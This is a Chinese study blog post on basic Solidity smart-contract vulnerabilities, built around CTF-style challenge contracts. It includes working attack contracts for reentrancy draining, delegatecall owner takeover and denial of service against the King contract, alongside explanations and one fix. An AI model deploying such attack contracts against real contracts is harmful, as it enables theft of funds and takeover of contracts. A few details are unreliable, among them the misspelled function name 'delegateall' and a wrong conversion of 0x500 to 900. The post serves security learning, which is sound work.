---
date: 2022-06-16
layout: post
title: 智能合约基础漏洞
description: 概述智能合约的基础漏洞
image: https://user-images.githubusercontent.com/90261136/174935760-68c8e2d8-c512-43e2-a679-20a45673d845.JPG
optimized_image: https://user-images.githubusercontent.com/90261136/174935775-f6809cff-dff1-4c60-aca2-cf304e0ac2c0.JPG
category: study
tags:
 - solidity
 - contract security
author: aventusc
---

# 	基础漏洞

## 	关于转账的漏洞

### 	转账方式

*solidity中共有三种转账方式，分别是call，transfer，send*

#### 	call转账漏洞

1. call重入攻击

   举个例子：

   ```solidity
   pragma solidity ^0.6.0;
   
   import '@openzeppelin/contracts/math/SafeMath.sol';
   
   contract Reentrance {
     
     using SafeMath for uint256;
     mapping(address => uint) public balances;
   
     function donate(address _to) public payable {
       balances[_to] = balances[_to].add(msg.value);
     }
   
     function balanceOf(address _who) public view returns (uint balance) {
       return balances[_who];
     }
   
     function withdraw(uint _amount) public {
       if(balances[msg.sender] >= _amount) {
         (bool result,) = msg.sender.call{value:_amount}("");
         if(result) {
           _amount;
         }
         balances[msg.sender] -= _amount;
       }
     }
   
     receive() external payable {}
   }
   ```

   原理：call转账会调用所有的gas，并且转账出现异常之后不会抛出异常而是返回false

   漏洞分析：经典的重入漏洞，使用了call转账，并且balances[msg.sender]在转账完成之后才进行更新，所以构造攻击合约中的fallback触发即可

   ```solidity
   contract attack{
       test constant private target=test(0xEdBA908c98185b82b1aBb31AFAF66B2f415491B2);
       function cunqian() public payable{
           target.donate{value: 0.001 ether}(address(this));
       }
       function tuiqian()public{
           target.withdraw(0.001 ether);
       }
       function check() public view returns(uint){
           return address(this).balance;
       }
       fallback() external payable{
           if(address(0xEdBA908c98185b82b1aBb31AFAF66B2f415491B2).balance>=0.001 ether)
           target.withdraw(0.001 ether);
       }
        function reuse() public {
           msg.sender.transfer(address(this).balance);
       }
   }
   ```

   

2. delegateall滥用问题

   举个例子：

   ```solidity
   pragma solidity ^0.6.0;
   
   contract Delegate {
   
     address public owner;
   
     constructor(address _owner) public {
       owner = _owner;
     }
   
     function pwn() public {
       owner = msg.sender;
     }
   }
   
   contract Delegation {
   
     address public owner;
     Delegate delegate;
   
     constructor(address _delegateAddress) public {
       delegate = Delegate(_delegateAddress);
       owner = msg.sender;
     }
   
     fallback() external {
       (bool result,) = address(delegate).delegatecall(msg.data);
       if (result) {
         this;
       }
     }
   }
   ```

   分析：使用delegatecall，将会在**调用者**环境下执行，delegatecal即可修改合约中的owner

   对其进行攻击：

   ```solidity
   contract attack{
       address target =0xd2a5bC10698FD955D1Fe6cb468a17809A08fd005;
       bytes4 public result;
       function trandform()public{
       result=bytes4(keccak256("pwn()"));
   }
       function pwn() public payable{
       target.call(abi.encodePacked(result,""));
   }
   }
   ```

   #### 	transfer转账漏洞——拒绝服务

   举个例子：

   ```solidity
   pragma solidity ^0.6.0;
   
   contract King {
   
     address payable king;
     uint public prize;
     address payable public owner;
   
     constructor() public payable {
       owner = msg.sender;  
       king = msg.sender;
       prize = msg.value;
     }
   
     receive() external payable {
       require(msg.value >= prize || msg.sender == owner);
       king.transfer(msg.value);
       king = msg.sender;
       prize = msg.value;
     }
   
     function _king() public view returns (address payable) {
       return king;
     }
   }
   ```

   原理：transfer函数如果异常会转账失败，抛出异常。并且有gas限制，最大2300，避免了重入漏洞。

   漏洞分析：题目就是要求成为king，但是题目会进行king的重申，而transfer函数不同于call和send，call和send函数执行后会返回true或者false，transfer函数执行失败后会进行回滚(revert)所以我们将king变成自己后提交实例时要阻止关卡对于king的重申，简单来说就是让关卡触发receive函数时失败。直接使用revert让关卡在想攻击合约转账时失败以上两种方法可以使漏洞合约中的transfer函数执行失败从而进行回滚导致king的重申失败。

   ```solidity
   contract attack{
       address target =0xd4c14dEeE2d55e2F999FFaAdb8d11CC7c6f67909;
       function attack() payable public {
           target.call{value : 0.001 ether}("");
       }
       fallback() external payable {
           revert();
       }
   }
   ```

   

## 	整数溢出漏洞

原理：

在solidity中有两种整数的表达方式，分别是int和uint，代表有符号和无符号整数，整数溢出漏洞存在于uint中，比如uint(0-1)就相当于2^256-1，系那个一个小数字变成一个极大的数，分为上溢出和下溢处。通常使msg.value上溢出让交易金额变小，使余额下溢处获得更多余额。

举个例子，msg.value发生上溢出：

```solidity
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}
```

分析：

buy函数中require msg.value == numTokens * PRICE_PER_TOKEN，其中PRICE_PER_TOKEN固定为1 ether，而numTokens。

require直接进行乘法，没有检测计算值后得到的数值，在此处可以构造整数溢出漏洞从而使msg.value变成一个足够小的数值。

举个例子，余额发生下溢出：

```solidity
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

分析：一道非常简单的题目，看似逻辑比较严谨，但是注意 require(balances[msg.sender] - _value >= 0)一行，要知道，uint类型中0-1是大于且远远大于0的，此处存在溢出漏洞，并且value可控，直接计算value使余额下溢。

## 	随机数漏洞

原理：

合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的，无法通过另一合约访问，但是变量储存进 storage 之后仍然是公开的。

或者使用，hash，coinbase、timestamp、number、difficulty、gaslimit等类型值作为随机数的，也存在安全问题，因为这些变量都是已知或者可操控的，比如在同意笔交易中，blockhash，blocnumber等均是相同的。值得注意的是blockhash只能读取最近的256个区块，在之前的将直接返回0。

例一，变量经过存储之后可查询

```solidity
pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

分析：password直接存储在slot1，而在区块链中，数据可以直接查询，利用如下代码即可获得password

```python
print(web3.eth.getStorageAt(contractaddress,1))
```

例二，使用区块链变量

```solidity
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
```

分析：使用了区块链变量的伪随机数，同一笔交易中block.blockhash(block.number)和now均相同，直接再调用时让n==uint8(keccak256(block.blockhash(block.number - 1), now))就可以了

例三，关于blockhash只能读取最近256区块

```solidity
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
```

分析：block.blockhash这个函数，它可以获取给定的区块号的hash值，但只支持最近的256个区块，不包含当前区块，对于256个区块之前的函数将返回0，所以应该提前设置guess为0，再等待255+1个区块。

## 	短地址漏洞

正常用户从交易所取款或者转账时，先输入正确的地址，在输入小于或等于自己存储的以太币的数量，然后完成存取款。

在调用函数时的input分为三个部分，接下来以erc20的transfer为例：

part 1： 4字节，方法名的hash值，即transfer.selector。

part 2：32字节，存储以太坊的地址，即20字节的address，未满足32字节，高位补0.

part 3：32字节，需要传输的代币数量，未满足32字节则高位补0.

上述三部分接合起来就是交易数据。

在这个过程中，如果交易所或者钱包方没有校验用户输入的地址长度是否合法，就存在短地址漏洞。

假设现在有合法地址0x1234567890123456789012345678901234567800。

注意末尾的00，问题就处在地址末尾处的00，当我们将后面的00省略，然后将参数传递给智能合约时，参数将根据ABI规范进行编码。在00省略的情况下我们发送的就是19字节(38位地址)而不是20字节的标准地址，在这种情况下，EVM会自动从下一个参数的最高位拿到1个字节(2个十六进制位)来补充以达到预期长度，这就导致了段地址漏洞。

比如在如下测试代码中

```solidity
pragma solidity ^0.4.11
contract shortaddr {
    mapping(address=>uint)balanceOf;
    constructor() public{
        balanceOf[msg.sender]=1000;
    }
    function transfer(address to,uint amount) public{
        require(balanceOf[msg.sender]>=amount);
        balanceOf[msg.sender]-=amount;
        balanceOf[to]+=amount;
    }
    function getbalance(address addr)view returns(uint){
        return balanceOf[addr];
    }
}
```

调用transfer函数并且使用上述短地址，转账5个token，amount参数最高位的00将会被吞掉，原本的转账5token将会变成转账0x500个token即900个，所以有较大风险。

不过该漏洞几乎已经被修复，还没有遇到过相应的例题。

不能通过 Remix 复现，因为客户端会检查地址长度；也不能通过 sendTransaction()，因为 `web3` 中也加了保护。

但是，可以使用 **geth** 搭建私链，使用 sendRawTransaction() 发送交易复现，可进行复现。

## 	call调用漏洞

*call转账又细分为三种调用方式，分别为call，delegateall，callcode三种*

三种call调用的异同

- call： 调用内置变量msg的值**会**修改为调用者，执行环境为**被调用者**的运行环境（即合约的storage）
- delegateall：调用内置变量msg的值**不会**修改为调用者，但执行环境为**调用者**的运行环境
- callcode：调用内置变量msg的值**会**修改为调用者，并且执行环境也会修改为**调用者**的执行环境

*注：storage存储的是状态变量，即可以跨函数调用的变量*

以下为实际举例：

1. call

   ```solidity
   pragma solidity ^0.4.0; 
   contract A {
   address public temp1;    
   uint256 public temp2;   
   
   function three_call(address addr) public {        addr.call(bytes4(keccak256("test()")));                 // 1        //addr.delegatecall(bytes4(keccak256("test()")));       // 2        //addr.callcode(bytes4(keccak256("test()")));           // 3   
   //keccak256就是生成256位的hash，bytes4就是将这个哈希值转换为字节码。
   //区分外部账户和合约账户的方法就是看其地址是否存在字节码，有的就是合约，反之为外部账户。
   } 
   } 
   
   contract B {    
   address public temp1;    
   uint256 public temp2;  
   
   function test() public  {        
   temp1 = msg.sender;        
   temp2 = 100;    
   } 
   }
   ```

   结果：

   A合约：

   temp1 = 0

   temp2 = 0

   B合约：

   temp1 = A合约地址

   temp2 = 100

   说明：call调用后内置变量 msg 的值会修改为调用者（A合约地址），执行环境为被调用者（B合约）的运行环境(运行环境指合约的 storage)

   

2. delegateall

   ```solidity
   pragma solidity ^0.4.0; 
   contract A {
   address public temp1;    
   uint256 public temp2;   
   
   function three_call(address addr) public {        addr.delegateall(abi.encode(bytes4(keccak256("test()"))));    
   //keccak256就是生成256位的hash，bytes4就是将这个哈希值转换为字节码。
   //区分外部账户和合约账户的方法就是看其地址是否存在字节码，有的就是合约，反之为外部账户。
   } 
   } 
   
   contract B {    
   address public temp1;    
   uint256 public temp2;  
   
   function test() public  {        
   temp1 = msg.sender;        
   temp2 = 100;    
   } 
   }
   ```

   A合约：

   temp1 = 调用A合约的以太坊账号地址

   temp2 = 100

   B合约：

   temp1 = 0

   temp2 = 0

   说明：delegatecall调用后内置变量 msg 的值不会修改为调用者（A合约地址），但执行环境为调用者（A合约）的运行环境

   

3. callcode

   ```solidity
   pragma solidity ^0.4.0; 
   contract A {
   address public temp1;    
   uint256 public temp2;   
   
   function three_call(address addr) public {        addr.callcode(abi.encode(bytes4(keccak256("test()"))));    
   //keccak256就是生成256位的hash，bytes4就是将这个哈希值转换为字节码。
   //区分外部账户和合约账户的方法就是看其地址是否存在字节码，有的就是合约，反之为外部账户。
   } 
   } 
   
   contract B {    
   address public temp1;    
   uint256 public temp2;  
   
   function test() public  {        
   temp1 = msg.sender;        
   temp2 = 100;    
   } 
   }
   ```

   A合约：

   temp1 = A合约地址

   temp2 = 100

   B合约：

   temp1 = 0

   temp2 = 0

   说明：callcode调用后内置变量 msg 的值会修改为调用者（A合约地址），但执行环境为调用者（A合约）的运行环境

   

## 	未初始化的存储指针

原理：未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量，这个变量会指向其他变量的区域，从而更改其他变量的值。

在solidity智能合约语言中，有storage和memory两种存储方式。storage变量是指永远存储在区块链中的变量；memory变量的存储是临时的，这些变量在外部调用结束后会被移除。但是solidity目前对复杂的数据类型，比如array(数组)和struct(结构体)，在函数中作为局部变量时，会默认存储在storaeg中。solidity对于变量存储，都是按照状态在合约中的先后顺序进行依次存储的

例：

结构体

```solidity
pragma solidity 0.4.24;
contract cover{
    address public owner=msg.sender;
    struct Name{
        address user;
        mapping(address=>uint)balanceof;
    }
    function regeist(address youraddress) public payable{
        Name name;
        require(msg.value>0);
        name.user=youraddress;
        name.balanceof[youraddress]+=msg.value;
    }
    function getbalance(address tar)public view returns(uint balance){
        Name name;
        return name.balanceof[tar];
    }
}
```

在进行注册并存款时，由于该storage变量未初始化，所以可能会覆盖其他变量，owner将会被覆盖为youraddress

比如合约部署后，owner为合约部署者，但是在用户拿着自己的地址进行注册时，owner就变成了user

部署后

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7eb96a39-c7c7-4de3-aef2-e0530eeb40c5/Untitled.png)

regeist后

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/1f6fd7ac-189c-499e-b29d-c811eded00c4/Untitled.png)

可见owner被覆盖

这个例子的修复方案是使用 mapping 进行结构体的初始化，并使用 storage 进行拷贝：

```solidity
pragma solidity 0.4.24;
contract cover{
    address public owner=msg.sender;
    struct Name{
        address user;
        mapping(address=>uint)balanceof;
    }
    mapping(uint=>Name)wallet;
    function regeist(uint id,address youraddress) public payable{
        Name storage wallets=wallet[id];
        require(msg.value>0);
        wallets.user=youraddress;
        wallets.balanceof[youraddress]+=msg.value;
    }
    function getbalance(uint id,address tar)public view returns(uint balance){
        Name storage wallets=wallet[id];
        return wallets.balanceof[tar];
    }
}
```

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4c964cc1-848a-4b43-976b-9a87e45832a7/Untitled.png)

部署合约后owner不会改变

数组

代码来源于ctf wiki

```solidity
pragma solidity ^0.4.24;

contract example2{
    uint public a;
    uint[] b;

    function setValue(uint _a) public {
        a = _a;
    }

    function attack(uint _value) public {
        uint[] tmp;
        tmp.push(_value);
        b = tmp;
    }
}
```

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/24b4c202-fbb9-4025-8962-13a7b2ef60c5/Untitled.png)

部署合约后设置a为100，在用任意数字调用attack，在看a，可以发现a变成了101

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/066f2eca-e4a4-4554-9b03-61bb3b14c7d7/Untitled.png)

可见初始化时uint[] tmp导致数组长度变成了a的值，在进行push后，将temp赋值给b，此时覆盖了a为b的长度即100+1=101

例题：

```solidity
pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}
```

分析：执行donate时Donation初始化并传入对应参数，没有强调memory，所以占用storage，实际修改值为slot0以及slot1，所以将etherAmount为int(address(player),16)即可修改owner为player。
